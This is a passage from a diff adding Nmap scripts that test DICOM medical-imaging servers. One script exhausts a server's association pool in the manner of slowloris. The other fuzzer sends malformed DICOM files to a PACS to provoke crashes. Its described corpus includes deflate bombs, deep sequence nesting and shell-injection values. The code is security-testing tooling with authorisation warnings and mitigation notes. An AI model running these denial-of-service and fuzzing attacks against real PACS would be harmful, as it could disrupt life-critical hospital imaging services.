1) do + local st, ms = probe(host, port, called_ae, calling_ae, timeout_s) + last_status = st + if is_alive(st) then base[#base + 1] = ms end + end + local baseline_ms = median(base) + if not baseline_ms then + if last_status == "refused" or last_status == "timeout" then + out["Error"] = "Server not reachable/answering before the test (" + .. last_status .. ") - it may already be down" + else + out["Error"] = string.format( + "Server did not accept an association from calling AE '%s' (%s) - if " + .. "an AE whitelist is in force, set dicom-slowloris.calling_ae to a " + .. "known AE", calling_ae, tostring(last_status)) + end + return out + end + out["Baseline association latency"] = string.format("%.0f ms", baseline_ms) + + -- Phase 1: fill the pool in waves. + local socks, pctxs = {}, {} + local opened, failed = 0, 0 + local fill = {} + local exhausted, threshold, fail_mode = false, 0, nil + local peak_ms = baseline_ms + local consec = 0 + local wave = 0 + + while opened < max_conns and not exhausted do + wave = wave + 1 + local w_open, w_fail, w_refused = 0, 0, 0 + for _ = 1, wave_size do + if opened >= max_conns then break end + local conn_ae = calling_ae + if vary_ae and opened > 0 then + local suffix = tostring(opened % 1000) + conn_ae = calling_ae:sub(1, math.max(16 - #suffix, 1)) .. suffix + end + local s, pctx, err = open_conn(host, port, mode, called_ae, conn_ae, + max_pdu, timeout_s, partial_bytes) + if s then + socks[#socks + 1] = s + pctxs[#socks] = pctx + opened = opened + 1 + w_open = w_open + 1 + else + failed = failed + 1 + w_fail = w_fail + 1 + if tostring(err):find("REFUSED") then w_refused = w_refused + 1 end + end + end + + local alive = count_alive(socks) + local st, ms = probe(host, port, called_ae, calling_ae, timeout_s) + local probe_txt + if is_alive(st) then + consec = 0 + if ms > peak_ms then peak_ms = ms end + probe_txt = string.format("probe ok %.0f ms", ms) + else + consec = consec + 1 + fail_mode = st + probe_txt = "probe " .. st + end + + local refused_txt = w_refused > 0 + and string.format(", %d refused", w_refused) or "" + fill[#fill + 1] = string.format( + "Wave %d: +%d opened%s (%d held, %d alive, %d failed) %s", + wave, w_open, refused_txt, opened, alive, failed, probe_txt) + + if consec >= confirm then + exhausted = true + threshold = alive + fill[#fill + 1] = string.format( + "Exhaustion confirmed at %d associations (%d consecutive failures)", + threshold, consec) + elseif not exhausted and wave_delay > 0 then + stdnse.sleep(wave_delay) + end + end + out["Phase 1 - Filling association pool"] = fill + + -- Interpret the failure mode / degradation. + local degraded = (not exhausted) + and peak_ms >= baseline_ms * degrade_factor and peak_ms >= 1000 + if exhausted then + if fail_mode == "limit" then + out["Failure mode"] = + "server rejected new associations with local-limit-exceeded" + .. " (A-ASSOCIATE-RJ: association pool full)" + elseif fail_mode == "refused" or fail_mode == "reset" then + out["Failure mode"] = + "new connections refused at TCP layer (listener backlog / max-clients)" + else + out["Failure mode"] = + "connections accepted but unanswered (worker/thread-pool saturation)" + end + end + out["Latency under load"] = string.format( + "%.0f ms baseline -> %.0f ms peak%s", baseline_ms, peak_ms, + exhausted and " before failure" or "") + + -- Phase 2: hold and monitor. + if exhausted and hold_time > 0 then + local start = nmap.clock_ms() + local elapsed, next_echo, echoes, drops = 0, echo_interval, 0, 0 + local recovered = false + while elapsed < hold_time do + if mode == "echo" and elapsed >= next_echo then + for i = 1, #socks do + if socks[i] then + echoes = echoes + 1 + if not keepalive(socks[i], pctxs[i], echoes, max_pdu, timeout_s) + then + pcall(function() socks[i]:close() end) + socks[i] = false + drops = drops + 1 + end + end + end + next_echo = elapsed + echo_interval + end + local st = probe(host, port, called_ae, calling_ae, timeout_s) + if is_alive(st) then recovered = true break end + stdnse.sleep(1) + elapsed = (nmap.clock_ms() - start) / 1000 + end + local alive = count_alive(socks) + if recovered then + out["Phase 2 - Holding"] = string.format( + "server recovered after %.0fs while %d connections were still held", + elapsed, alive) + else + local extra = mode == "echo" + and string.format(", %d echoes, %d dropped", echoes, drops) or "" + out["Phase 2 - Holding"] = string.format( + "held %.0fs: %d still alive at end%s", hold_time, alive, extra) + end + elseif not exhausted then + out["Phase 2 - Holding"] = "skipped (server not exhausted)" + end + + -- Phase 3: release and measure recovery. + local released = 0 + for i = 1, #socks do + if socks[i] then + if mode == "partial" then + pcall(function() socks[i]:close() end) + else + pcall(function() dicom.do_release(socks[i], 2) end) + end + released = released + 1 + end + end + local rec_start = nmap.clock_ms() + local recovery + if exhausted then + for _ = 1, 15 do + stdnse.sleep(1) + if is_alive((probe(host, port, called_ae, calling_ae, timeout_s))) then + recovery = (nmap.clock_ms() - rec_start) / 1000 + break + end + end + out["Phase 3 - Release and recovery"] = recovery + and string.format("released %d; server available %.1fs after release", + released, recovery) + or string.format( + "released %d; server still unavailable after 15s (may need restart)", + released) + else + out["Phase 3 - Release and recovery"] = + string.format("released %d connections", released) + end + + -- Results. + local results = {} + if exhausted then + results[#results + 1] = "VULNERABLE: association-pool exhaustion confirmed" + results[#results + 1] = string.format( + "Exhaustion threshold: %d concurrent associations", threshold) + results[#results + 1] = recovery + and string.format("Recovery: %.1fs after release", recovery) + or "Recovery: not within 15s (may require a restart)" + if mode == "echo" then + results[#results + 1] = "Note: C-ECHO keep-alives defeated idle timeout" + .. " - needs per-source limits, not just an idle timeout" + elseif mode == "partial" then + results[#results + 1] = "Note: half-open A-ASSOCIATE-RQ (ARTIM) attack" + .. " - lower the ARTIM timeout and add TCP rate limiting" + else + results[#results + 1] = "Mitigation: ARTIM/idle timeout, per-source" + .. " limits, rate limiting" + end + elseif degraded then + results[#results + 1] = string.format( + "DEGRADED: association latency rose from %.0f ms to %.0f ms (%.0fx)" + .. " under %d held connections without full exhaustion", + baseline_ms, peak_ms, peak_ms / baseline_ms, opened) + results[#results + 1] = "Partial DoS: service is impaired but not fully" + .. " blocked; raise dicom-slowloris.connections to push further" + else + results[#results + 1] = string.format( + "NOT VULNERABLE: server serviced probes with %d associations held" + .. " (pool may be larger or unlimited)", opened) + results[#results + 1] = string.format( + "Try raising dicom-slowloris.connections (current: %d)", max_conns) + end + out["Results"] = results + + nmap.set_port_version(host, port, "hardmatched") + return out +end diff --git a/scripts/dicom-store-fuzzer.nse b/scripts/dicom-store-fuzzer.nse new file mode 100644 index 000000000..d9a81a063 --- /dev/null +++ b/scripts/dicom-store-fuzzer.nse @@ -0,0 +1,789 @@ +description = [[ +DICOM C-STORE fuzzer for post-association PACS vulnerability testing. + +Reads a fuzz corpus generated by dicom_fuzzgen.py and transmits each malformed +DICOM file to the target PACS via C-STORE (DIMSE), monitoring for crashes, +hangs, unexpected responses, and anomalous behaviour. + +The attack surface is post-association but pre-authentication in any +application-layer sense -- most PACS accept C-STORE from any associated SCU +without further authentication checks. + +Test coverage: + * Tag value overflow / boundary violations + * VR type confusion and mismatch + * Sequence nesting attacks (stack overflow, OOM) + * Pixel data mutations (buffer size, bit depth, encapsulation) + * Transfer syntax abuse (deflate bombs, JPEG corruption, encoding mismatch) + * Private and unknown tag injection + * File Meta Information attacks + * String encoding and character set attacks + * DICOM-specific logic bombs + * CVE-specific payloads (multiple vendors) + +Anomaly classification: + SUCCESS -- C-STORE-RSP Status 0x0000 (notable if input was heavily + malformed) + FAILURE -- C-STORE-RSP Status != 0x0000 (expected for malformed input) + REJECT -- A-ASSOCIATE-RJ (SOP class not supported) + ABORT -- A-ABORT from target (potential parser panic) + TIMEOUT -- No response within timeout (potential crash or infinite loop) + RESET -- TCP RST (process likely crashed) + CONN_REFUSED -- Cannot connect (target service down / crashed) + CORRUPT_RSP -- Response not a valid DICOM PDU (memory corruption indicator) + +Health checks run automatically after each configurable interval and after any +TIMEOUT or RESET. Three consecutive health-check failures constitute a +CRITICAL CRASH; fuzzing halts and the triggering case is reported. + +WARNING: This is an intrusive script. It WILL send malformed DICOM data to the +target PACS and MAY cause crashes, hangs, data corruption, or exhaustion of +service resources. Only use against systems for which you have explicit written +authorisation. Medical imaging systems are life-critical infrastructure. + +Requires the dicom.lua library (place in nselib/ or same directory). +]] + +--- +-- @usage +-- nmap -p 104,11112 --script dicom-store-fuzzer \ +-- --script-args 'dicom-store-fuzzer.corpus=/path/to/fuzz_corpus_v5,dicom-store-fuzzer.called_ae=ORTHANC' +-- +-- @usage +-- nmap -p 11112 --script dicom-store-fuzzer \ +-- --script-args 'dicom-store-fuzzer.corpus=./fuzz_corpus_v5,dicom-store-fuzzer.categories=cat03,cat04,dicom-store-fuzzer.timeout=15' +-- +-- @usage +-- nmap -p 104 --script dicom-store-fuzzer \ +-- --script-args 'dicom-store-fuzzer.corpus=./fuzz_corpus_v5,dicom-store-fuzzer.cases=TC0001,TC0042,TC0300,dicom-store-fuzzer.output=verbose' +-- +-- @args dicom-store-fuzzer.corpus Path to fuzz_corpus directory containing +-- manifest.json (REQUIRED) +-- @args dicom-store-fuzzer.called_ae Target AE Title (default: "ORTHANC") +-- @args dicom-store-fuzzer.calling_ae Our AE Title (default: "NMAP-FUZZ") +-- @args dicom-store-fuzzer.categories Comma-separated categories to send: +-- "all","cat01","cat03,cat04" (default: "all") +-- @args dicom-store-fuzzer.cases Specific case IDs: "TC0001,TC0042" +-- (default: all) +-- @args dicom-store-fuzzer.batch Cases per association; 1 = per-case +-- isolation (default: 1) +-- @args dicom-store-fuzzer.timeout C-STORE response timeout in seconds +-- (default: 10) +-- @args dicom-store-fuzzer.delay Delay between cases in milliseconds +-- (default: 200) +-- @args dicom-store-fuzzer.fallback_sc Use Secondary Capture fallback if SOP +-- class rejected (default: true) +-- @args dicom-store-fuzzer.baseline Send baseline before fuzzing to verify +-- C-STORE works (default: true) +-- @args dicom-store-fuzzer.max_pdu Max PDU Length to propose in bytes +-- (default: 16384) +-- @args dicom-store-fuzzer.resume Resume from this case ID after a +-- previous crash (default: none) +-- @args dicom-store-fuzzer.output Output verbosity: +-- "summary","verbose","debug" (default: "summary") +-- @args dicom-store-fuzzer.health_interval Health check every N cases +-- (default: 10) +-- @args dicom-store-fuzzer.results_file Write JSON results to this path +-- (default: /tmp/dicom-store-fuzzer-.json) +-- +-- @output +-- PORT STATE SERVICE +-- 104/tcp open dicom +-- | dicom-store-fuzzer: +-- | Target AE: ORTHANC Calling AE: NMAP-FUZZ +-- | Corpus: /path/to/fuzz_corpus_v5 (1357 cases queued) +-- | Baseline: SUCCESS (C-STORE accepted) +-- | Cases Sent: 1357 / 1357 +-- | Results: SUCCESS=898 FAILURE=384 TIMEOUT=4 RESET=2 REJECT=18 ABORT=6 CORRUPT=0 +-- | CRITICAL FINDINGS: +-- | [CRASH] TC0215 cat03_sequence_nesting/TC0215_depth_500.dcm +-- | Sequence depth 500 - TCP RST, target unresponsive for 8s +-- | [TIMEOUT] TC0401 cat05_transfer_syntax/TC0401_deflate_bomb.dcm +-- | Deflate bomb - No response after 10s, target recovered +-- | [ACCEPT] TC0507 cat06_private_tags/TC0507_inject_shell_dollar.dcm +-- | Shell injection in PatientName - Stored successfully +-- | Results file: /tmp/dicom-store-fuzzer-192.168.1.50.json +-- |_ +--- + +author = "Paulino Calderon " +license = "Same as Nmap -- See https://nmap.org/book/man-legal.html" +categories = {"fuzzer", "intrusive"} + +local shortport = require "shortport" +local stdnse = require "stdnse" +local nmap = require "nmap" +local string = require "string" +local table = require "table" +local math = require "math" +local io = require "io" +local json = require "json" +local dicom = require "dicom" + +portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp", + "open") + +-- File I/O and DCM parsing now provided by dicom.lua library: +-- dicom.read_file(path) +-- dicom.generate_fake_uid() +-- dicom.read_dcm_dataset(filepath) + +----------------------------------------------------------------------- +-- MANIFEST LOADER +----------------------------------------------------------------------- + +-- Load and parse manifest.json from the corpus directory. +-- Returns list of case tables, baseline_file or nil, err. +local function load_manifest(corpus_path) + local path = corpus_path:gsub("[/\\]+$", "") .. "/manifest.json" + local data, err = dicom.read_file(path) + if not data then + return nil, "Cannot read manifest.json from corpus: " .. tostring(err) + end + + local ok, manifest = json.parse(data) + if not ok or type(manifest) ~= "table" then + return nil, "Failed to parse manifest.json: " .. tostring(manifest) + end + + local cases = {} + if type(manifest.categories) == "table" then + for _, cat in ipairs(manifest.categories) do + if type(cat.cases) == "table" then + for _, c in ipairs(cat.cases) do + cases[#cases + 1] = { + id = c.id or "?", + filename = c.filename or "", + description = c.description or "", + target_tag = c.target_tag or "", + mutation = c.mutation or "", + severity = c.severity or "medium", + expected = c.expected_behavior or "", + category = cat.id or "", + } + end + end + end + end + + return cases, manifest.baseline_file +end + +----------------------------------------------------------------------- +-- C-STORE VIA DICOM.LUA +----------------------------------------------------------------------- + +--- Send one C-STORE-RQ and receive the C-STORE-RSP. +-- Uses dicom.lua's send_dimse/recv_dimse with proper MCH and carry buffer. +-- @param sock Connected TCP socket with active association +-- @param pctx_id Accepted presentation context ID +-- @param sop_class SOP Class UID +-- @param sop_inst SOP Instance UID +-- @param ds_bytes Raw dataset bytes (post File Meta, just the DICOM dataset) +-- @param msg_id DIMSE Message ID +-- @param max_pdu Effective max PDU length +-- @param timeout_s Response timeout in seconds +-- @return result_string, status_code, error_comment, elapsed_ms +local function do_cstore(sock, pctx_id, sop_class, sop_inst, + ds_bytes, msg_id, max_pdu, timeout_s) + local t0 = nmap.clock_ms() + + -- Build C-STORE-RQ command set + local cmd_bytes = dicom.build_cstore_rq(msg_id, sop_class, sop_inst) + + -- Send command + dataset via dicom.lua (handles MCH, fragmentation, separate + -- PDUs) + local ok = dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, max_pdu) + if not ok then + return "RESET", 0xFFFF, "send_dimse failed", nmap.clock_ms() - t0 + end + + -- Receive C-STORE-RSP + -- recv_dimse returns: pdu_type, cmd_elems, ds_bytes, raw_or_err, remaining + -- On error: nil, nil, "", error_string, "" + sock:set_timeout(timeout_s * 1000) + local pdu_type, cmd_elems, _, raw_or_err, _ = dicom.recv_dimse(sock, + timeout_s) + local elapsed = nmap.clock_ms() - t0 + + if not pdu_type then + local err_str = tostring(raw_or_err or "unknown") + if err_str:find("TIMEOUT") then + return "TIMEOUT", 0xFFFF, "", elapsed + end + return "RESET", 0xFFFF, err_str, elapsed + end + + if pdu_type == dicom.PDU_CODES.ABORT then + return "ABORT", 0xFFFF, "A-ABORT from server", elapsed + elseif pdu_type ~= dicom.PDU_CODES.DATA then + return string.format("CORRUPT_RSP(0x%02X)", pdu_type), 0xFFFF, "", elapsed + end + + -- Parse response status from command elements + local status_code = 0xFFFF + local error_comment = "" + if cmd_elems then + if cmd_elems["0000,0900"] then + status_code = cmd_elems["0000,0900"].value + end + if cmd_elems["0000,0902"] then + error_comment = tostring(cmd_elems["0000,0902"].value or "") + end + end + + if status_code == dicom.STATUS.SUCCESS then + return "SUCCESS", status_code, error_comment, elapsed + elseif status_code == dicom.STATUS.PENDING + or status_code == dicom.STATUS.PENDING_WARN then + return "PENDING", status_code, error_comment, elapsed + else + return string.format("FAILURE(0x%04X)", status_code), status_code, + error_comment, elapsed + end +end + +----------------------------------------------------------------------- +-- HEALTH CHECK +----------------------------------------------------------------------- + +--- Send the baseline file to confirm the target is alive. +-- Returns true (alive) or false (dead/unreachable). +local function health_check(host, port, corpus_path, baseline_rel, + called_ae, calling_ae, max_pdu, timeout_s) + if not baseline_rel then return false end + local baseline_path = corpus_path:gsub("[/\\]+$", "") .. "/" .. baseline_rel + + local dataset_bytes, sop_class, sop_instance, + ts_uid = dicom.read_dcm_dataset(baseline_path) + if not dataset_bytes then return false end + + sop_class = (sop_class and #sop_class > 0) and sop_class + or dicom.SOP_CLASS.CT_IMAGE_STORAGE + sop_instance = (sop_instance and #sop_instance > 0) and sop_instance + or dicom.generate_fake_uid() + + -- Propose file's native transfer syntax alongside standard fallbacks + local transfer_uids = nil + if ts_uid and ts_uid ~= "" then + local seen = {} + transfer_uids = {} + for _, ts in ipairs({ts_uid, dicom.TRANSFER_SYNTAX.EXPLICIT_LE, + dicom.TRANSFER_SYNTAX.IMPLICIT_LE}) do + if not seen[ts] then + seen[ts] = true + transfer_uids[#transfer_uids + 1] = ts + end + end + end + + local ok, sock, pctxs, server_max_pdu = dicom.do_associate( + host, port, called_ae, calling_ae, + {sop_class, dicom.SOP_CLASS.SECONDARY_CAPTURE}, max_pdu, timeout_s, + transfer_uids) + if not ok then return false end + + local pctx_id = dicom.pick_accepted_pctx(pctxs) + if not pctx_id then dicom.do_release(sock, 3) + return false end + + local eff_max = math.min(server_max_pdu or max_pdu, max_pdu) + local result = do_cstore(sock, pctx_id, sop_class, sop_instance, + dataset_bytes, 1, eff_max, timeout_s) + dicom.do_release(sock, 3) + + return (result == "SUCCESS") +end + +----------------------------------------------------------------------- +-- RESULT TRACKING +----------------------------------------------------------------------- + +local function new_results() + return { + SUCCESS=0, FAILURE=0, TIMEOUT=0, RESET=0, + REJECT=0, ABORT=0, CONN_REFUSED=0, CORRUPT_RSP=0, + total=0, anomalies={}, crashes={}, + } +end + +local function record(res, result, tc) + res.total = res.total + 1 + local key = result:match("^(%u[%u_]*)") or "FAILURE" + if res[key] ~= nil then + res[key] = res[key] + 1 + else + res.FAILURE = res.FAILURE + 1 + end +end + +local function is_critical(result) + return (result == "TIMEOUT" or result == "RESET" or result == "CONN_REFUSED" + or result:find("CRASH")) +end + +----------------------------------------------------------------------- +-- JSON RESULTS WRITER +----------------------------------------------------------------------- + +local function write_results_json(filepath, target_ip, target_port, + called_ae, corpus_path, + results, all_case_results, + start_time) + local f, err = io.open(filepath, "w") + if not f then + stdnse.verbose1("Cannot write results file: %s", tostring(err)) + return + end + + -- JSON string escaping. Fuzz cases and server error comments can contain + -- arbitrary control bytes (NUL, ESC, etc.); these are invalid raw in a JSON + -- string and must be emitted as \uXXXX, otherwise the results file is not + -- parseable. Backslash and quote are escaped first, then every control + -- character in U+0000..U+001F (common ones as short escapes). + local function esc(s) + s = tostring(s):gsub('\\', '\\\\'):gsub('"', '\\"') + s = s:gsub('[\x00-\x1f]', function(c) + local b = string.byte(c) + if b == 0x08 then return '\\b' + elseif b == 0x09 then return '\\t' + elseif b == 0x0a then return '\\n' + elseif b == 0x0c then return '\\f' + elseif b == 0x0d then return '\\r' + else return string.format('\\u%04x', b) end + end) + return s + end + + f:write('{\n') + f:write(string.format(' "target": "%s:%d",\n', esc(target_ip), target_port)) + f:write(string.format(' "target_ae": "%s",\n', esc(called_ae))) + f:write(string.format(' "corpus": "%s",\n', esc(corpus_path))) + f:write(string.format(' "scan_start": "%s",\n', esc(start_time))) + f:write(string.format(' "scan_end": "%s",\n', + esc(os.date("!%Y-%m-%dT%H:%M:%SZ")))) + f:write(string.format(' "total_cases": %d,\n', results.total)) + f:write(' "summary": {\n') + f:write(string.format(' "SUCCESS": %d, "FAILURE": %d, "TIMEOUT": %d,\n', + results.SUCCESS, results.FAILURE, results.TIMEOUT)) + f:write(string.format(' "RESET": %d, "REJECT": %d, "ABORT": %d,\n', + results.RESET, results.REJECT, results.ABORT)) + f:write(string.format(' "CONN_REFUSED": %d, "CORRUPT_RSP": %d\n', + results.CONN_REFUSED, results.CORRUPT_RSP)) + f:write(' },\n') + + f:write(' "crashes": [\n') + for i, c in ipairs(results.crashes) do + f:write(string.format( + ' {"id":"%s","file":"%s","result":"%s","desc":"%s"}%s\n', + esc(c.id), esc(c.file), esc(c.result), esc(c.desc), + i < #results.crashes and "," or "")) + end + f:write(' ],\n') + + f:write(' "anomalies": [\n') + for i, a in ipairs(results.anomalies) do + f:write(string.format( + ' {"id":"%s","file":"%s","result":"%s",' .. + '"desc":"%s","elapsed_ms":%d}%s\n', + esc(a.id), esc(a.file), esc(a.result), esc(a.desc), a.elapsed or 0, + i < #results.anomalies and "," or "")) + end + f:write(' ],\n') + + f:write(' "results": [\n') + for i, r in ipairs(all_case_results) do + f:write(string.format( + ' {"id":"%s","category":"%s","file":"%s",' .. + '"result":"%s","status":"0x%04X",' .. + '"elapsed_ms":%d,"desc":"%s"}%s\n', + esc(r.id), esc(r.category), esc(r.file), + esc(r.result), r.status or 0xFFFF, r.elapsed or 0, esc(r.desc), + i < #all_case_results and "," or "")) + end + f:write(' ]\n}\n') + f:close() +end + +----------------------------------------------------------------------- +-- MAIN ACTION +----------------------------------------------------------------------- + +action = function(host, port) + math.randomseed(os.time()) + local out = stdnse.output_table() + + local function arg(n) return stdnse.get_script_args(n) end + + local corpus_path = arg("dicom-store-fuzzer.corpus") + local called_ae = arg("dicom-store-fuzzer.called_ae") or "ORTHANC" + local calling_ae = arg("dicom-store-fuzzer.calling_ae") or "NMAP-FUZZ" + local categories = arg("dicom-store-fuzzer.categories") or "all" + local cases_filter = arg("dicom-store-fuzzer.cases") -- nil = all + local batch_size = tonumber(arg("dicom-store-fuzzer.batch")) or 1 + local timeout_s = tonumber(arg("dicom-store-fuzzer.timeout")) or 10 + local delay_ms = tonumber(arg("dicom-store-fuzzer.delay")) or 200 + local fallback_sc = (arg("dicom-store-fuzzer.fallback_sc") + or "true"):lower() ~= "false" + local do_baseline = (arg("dicom-store-fuzzer.baseline") + or "true"):lower() ~= "false" + local max_pdu = tonumber(arg("dicom-store-fuzzer.max_pdu")) + or dicom.MAX_PDU_DEFAULT + local resume_from = arg("dicom-store-fuzzer.resume") + local output_lvl = arg("dicom-store-fuzzer.output") or "summary" + local health_int = tonumber(arg("dicom-store-fuzzer.health_interval")) or 10 + local results_file = arg("dicom-store-fuzzer.results_file") + or string.format("/tmp/dicom-store-fuzzer-%s.json", + host.ip or "unknown") + + local verbose = (output_lvl == "verbose" or output_lvl == "debug") + local dbg = (output_lvl == "debug") + if not corpus_path then + out.Error = "dicom-store-fuzzer.corpus is required. Run" .. + " dicom_fuzzgen.py first." + return out + end + + out["Target AE"] = called_ae + out["Calling AE"] = calling_ae + + -- == Load manifest == + local all_cases, baseline_rel = load_manifest(corpus_path) + if not all_cases then + out.Error = "Failed to load manifest: " .. tostring(baseline_rel) + return out + end + + -- == Filter by category == + local cat_filter = {} + if categories:lower() ~= "all" then + for c in categories:gmatch("[^,]+") do + cat_filter[c:lower():gsub("%s+", "")] = true + end + end + + -- == Filter by case ID == + local case_id_filter = {} + if cases_filter then + for c in cases_filter:gmatch("[^,]+") do + case_id_filter[c:upper():gsub("%s+", "")] = true + end + end + + -- == Apply filters == + local queued = {} + local resuming = (resume_from ~= nil) + for _, tc in ipairs(all_cases) do + if next(cat_filter) ~= nil and not cat_filter[tc.category:lower()] then + goto continue_filter + end + if next(case_id_filter) ~= nil and not case_id_filter[tc.id:upper()] then + goto continue_filter + end + if resuming then + if tc.id == resume_from then resuming = false end + if resuming then goto continue_filter end + end + queued[#queued + 1] = tc + ::continue_filter:: + end + + out.Corpus = string.format("%s (%d cases queued)", corpus_path, #queued) + + -- == Baseline check == + if do_baseline then + local alive = health_check(host, port, corpus_path, baseline_rel, + called_ae, calling_ae, max_pdu, timeout_s) + if not alive then + out.Baseline = "FAILED - target does not accept C-STORE or AE Title" .. + " is wrong" + out.Warning = "Aborting: baseline C-STORE failed. Check called_ae and" .. + " target." + return out + end + out.Baseline = "SUCCESS" + end + + -- == Prepare result tracking == + local res = new_results() + local all_case_res = {} + local halted = false + local msg_id = 1 + local start_time = os.date("!%Y-%m-%dT%H:%M:%SZ") + local consecutive_fails = 0 + + -- == Per-case or batched association == + local sock_open = false + local cur_sock = nil + local cur_pctx_id = nil + local cur_max_pdu = max_pdu + local cases_in_batch = 0 + + local function close_session() + if cur_sock then + pcall(dicom.do_release, cur_sock, 3) + cur_sock = nil + end + sock_open = false + cases_in_batch = 0 + end + + local function open_session(sop_class, file_ts_uid) + close_session() + local sop_list = {sop_class} + if fallback_sc and sop_class ~= dicom.SOP_CLASS.SECONDARY_CAPTURE then + sop_list[#sop_list + 1] = dicom.SOP_CLASS.SECONDARY_CAPTURE + end + + -- Propose the file's native transfer syntax alongside standard fallbacks. + -- This ensures files encoded in JPEG, JPEG-LS, RLE, etc. can be sent + -- with a matching negotiated TS instead of forcing Implicit/Explicit VR + -- LE. + local transfer_uids = nil + if file_ts_uid and file_ts_uid ~= "" then + local seen = {} + transfer_uids = {} + for _, ts in ipairs({file_ts_uid, dicom.TRANSFER_SYNTAX.EXPLICIT_LE, + dicom.TRANSFER_SYNTAX.IMPLICIT_LE}) do + if not seen[ts] then + seen[ts] = true + transfer_uids[#transfer_uids + 1] = ts + end + end + stdnse.debug2("Proposing transfer syntaxes: %s", + table.concat(transfer_uids, ", ")) + end + + local ok, sock_or_err, pctxs, srv_max_pdu = dicom.do_associate( + host, port, called_ae, calling_ae, sop_list, max_pdu, timeout_s, + transfer_uids) + + if not ok then + return false, sock_or_err + end + + -- Pick accepted presentation context (prefers lowest pctx_id = primary + -- SOP) + local pctx_id = dicom.pick_accepted_pctx(pctxs) + if not pctx_id then + pcall(dicom.do_release, sock_or_err, 3) + return false, "No presentation context accepted" + end + + cur_sock = sock_or_err + cur_pctx_id = pctx_id + cur_max_pdu = math.min(srv_max_pdu or max_pdu, max_pdu) + sock_open = true + cases_in_batch = 0 + consecutive_fails = 0 -- association succeeded, target is alive + return true, nil + end + + -- == Main fuzzing loop == + local total_run = 0 + local since_health = 0 + + for _, tc in ipairs(queued) do + if halted then break end + total_run = total_run + 1 + since_health = since_health + 1 + + -- Periodic liveness check (every health_int cases): a malformed case may + -- crash or hang the target without producing an immediate error on the + -- case that triggered it. Re-send the known-good baseline on a fresh + -- association to confirm the target still processes valid C-STORE; if it + -- does not, record a crash and halt so the offending region is preserved. + if health_int > 0 and baseline_rel and since_health >= health_int then + since_health = 0 + close_session() + local alive = health_check(host, port, corpus_path, baseline_rel, + called_ae, calling_ae, max_pdu, timeout_s) + if not alive then + stdnse.verbose1("CRITICAL: health check failed after case %s --" .. + " target may have crashed", tc.id) + res.crashes[#res.crashes + 1] = { + id=tc.id, file=tc.filename, + result="HEALTH_CHECK_FAILED", + desc="Baseline health check failed after " .. tc.id} + halted = true + break + end + end + + stdnse.debug2("Case %s: %s", tc.id, tc.description) + + -- Read DCM file + local filepath = corpus_path:gsub("[/\\]+$", "") .. "/" .. tc.filename + local dataset_bytes, sop_class, sop_instance, + file_ts_uid = dicom.read_dcm_dataset(filepath) + + if not dataset_bytes then + record(res, "FAILURE", tc) + all_case_res[#all_case_res + 1] = { + id=tc.id, category=tc.category, file=tc.filename, + result="FAILURE(cannot read file)", status=0xFFFF, elapsed=0, + desc=tc.description} + goto next_case + end + + sop_class = (sop_class and #sop_class > 0) and sop_class + or dicom.SOP_CLASS.CT_IMAGE_STORAGE + sop_instance = (sop_instance and #sop_instance > 0) and sop_instance + or dicom.generate_fake_uid() + + -- Open/reuse association (propose file's native transfer syntax) + if not sock_open or cases_in_batch >= batch_size then + local ok, err = open_session(sop_class, file_ts_uid) + if not ok then + local fail_result = err or "CONN_REFUSED" + if type(fail_result) == "string" and fail_result:find("REJECT") then + record(res, "REJECT", tc) + else + record(res, "CONN_REFUSED", tc) + consecutive_fails = consecutive_fails + 1 + end + if verbose then + stdnse.verbose1("[%s] %s: %s", tostring(fail_result), tc.id, + tc.description) + end + all_case_res[#all_case_res + 1] = { + id=tc.id, category=tc.category, file=tc.filename, + result=tostring(fail_result), status=0xFFFF, elapsed=0, + desc=tc.description} + + -- Only halt if target is truly unreachable + if consecutive_fails >= 5 then + stdnse.verbose1("CRITICAL: 5 consecutive connection failures --" .. + " target may have crashed") + res.crashes[#res.crashes + 1] = { + id=tc.id, file=tc.filename, + result="CONN_REFUSED(5 consecutive)", + desc="Target unresponsive after " .. tc.id} + halted = true + end + goto next_case + end + end + + -- Run C-STORE + do + local result, status_code, error_comment, elapsed = + do_cstore(cur_sock, cur_pctx_id, sop_class, sop_instance, + dataset_bytes, msg_id, cur_max_pdu, timeout_s) + msg_id = msg_id + 1 + cases_in_batch = cases_in_batch + 1 + + record(res, result, tc) + + -- Anomaly detection + local is_anom = false + local anom_type = "" + + if result == "TIMEOUT" or result == "RESET" + or result == "CONN_REFUSED" then + is_anom = true + anom_type = "CRASH/HANG" + close_session() + + -- TIMEOUT is normal for fuzz cases (server may just be slow to parse + -- malformed data). Only count RESET and CONN_REFUSED as hard + -- failures. + if result ~= "TIMEOUT" then + consecutive_fails = consecutive_fails + 1 + end + + -- Only halt if target is actually unreachable (not just slow) + if consecutive_fails >= 5 then + stdnse.verbose1("CRITICAL: 5 consecutive hard failures after %s", + tc.id) + res.crashes[#res.crashes + 1] = { + id=tc.id, file=tc.filename, result=result, + desc="5 consecutive hard failures -- target likely crashed"} + halted = true + end + elseif result == "ABORT" then + is_anom = true + anom_type = "ABORT" + close_session() + elseif result:find("CORRUPT_RSP") then + is_anom = true + anom_type = "CORRUPT_RSP" + close_session() + elseif result == "SUCCESS" and (tc.severity == "high") then + is_anom = true + anom_type = "ACCEPT(HIGH_SEV)" + else + consecutive_fails = 0 + end + + if is_anom then + local entry = { + id=tc.id, file=tc.filename, + result=result .. (error_comment ~= "" and (":" .. error_comment) + or ""), + desc=tc.description, elapsed=elapsed} + if is_critical(result) then + res.crashes[#res.crashes + 1] = entry + else + res.anomalies[#res.anomalies + 1] = entry + end + if verbose then + stdnse.verbose1("[%s] %s: %s - %s (%dms)", + anom_type, tc.id, tc.description, result, elapsed or 0) + end + elseif dbg then + stdnse.debug1("[%s] %s (%dms)", result, tc.id, elapsed or 0) + end + + all_case_res[#all_case_res + 1] = { + id=tc.id, category=tc.category, file=tc.filename, + result=result, status=status_code, elapsed=elapsed, + desc=tc.description} + end + + -- Inter-case delay + if delay_ms > 0 and not halted then + stdnse.sleep(delay_ms / 1000.0) + end + + ::next_case:: + end + + close_session() + + -- == Output == + out["Cases Sent"] = string.format("%d / %d", total_run, #queued) + out["Results"] = string.format( + "SUCCESS=%d FAILURE=%d TIMEOUT=%d RESET=%d REJECT=%d ABORT=%d CORRUPT=%d", + res.SUCCESS, res.FAILURE, res.TIMEOUT, res.RESET, + res.REJECT, res.ABORT, res.CORRUPT_RSP) + + if #res.crashes > 0 or #res.anomalies > 0 then + local findings = {} + for _, c in 